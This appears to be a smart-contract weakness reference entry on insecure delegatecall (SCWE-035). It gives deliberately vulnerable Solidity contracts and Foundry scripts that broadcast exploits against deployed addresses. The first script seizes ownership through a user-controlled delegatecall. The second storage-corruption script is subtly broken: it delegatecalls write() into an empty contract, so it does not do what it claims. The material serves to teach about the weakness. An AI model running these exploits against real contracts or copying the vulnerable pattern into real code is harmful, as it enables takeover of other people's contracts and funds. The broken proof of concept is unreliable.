Insecure DelegateCall
SCWE-035: Insecure Delegatecall Usage
Last updated
// Vulnerable Contract
pragma solidity ^0.8.13;
contract Executor {
address public lib;
address public owner;
function execute(bytes memory data, address target) public {
target.delegatecall(data); // User controls delegatecall target
}
}
// PoC
// forge script scripts/DelegatecallArbitraryExec.s.sol --rpc-url $RPC_URL --broadcast
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
interface IExecutor {
function execute(bytes calldata, address) external;
}
contract Attack {
address public lib;
address public owner;
function pwn() external {
owner = msg.sender;
}
}
contract DelegatecallArbitraryExec is Script {
function run() external {
vm.startBroadcast();
IExecutor exec = IExecutor(vm.envAddress("EXECUTOR"));
Attack attack = new Attack();
bytes memory payload = abi.encodeWithSignature("pwn()");
exec.execute(payload, address(attack));
vm.stopBroadcast();
}
}pragma solidity ^0.8.0;
contract StorageContract {
uint256 public a; // slot 0
uint256 public b; // slot 1
address public lib; // slot 2
function run(address _lib, bytes calldata data) external {
_lib.delegatecall(data);
}
}
contract Library {
uint256 public temp; // slot 0 (overwrites StorageContract.a)
function write(uint256 x) external {
temp = x;
}
}// forge script scripts/DelegatecallStorageCorruption.s.sol --broadcast
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
interface IStorageContract {
function run(address, bytes calldata) external;
}
contract LibraryWriter {}
contract DelegatecallStorageCorruption is Script {
function run() external {
vm.startBroadcast();
IStorageContract target = IStorageContract(vm.envAddress("TARGET"));
LibraryWriter lib = new LibraryWriter();
bytes memory payload = abi.encodeWithSignature("write(uint256)", 999);
target.run(address(lib), payload);
vm.stopBroadcast();
}
}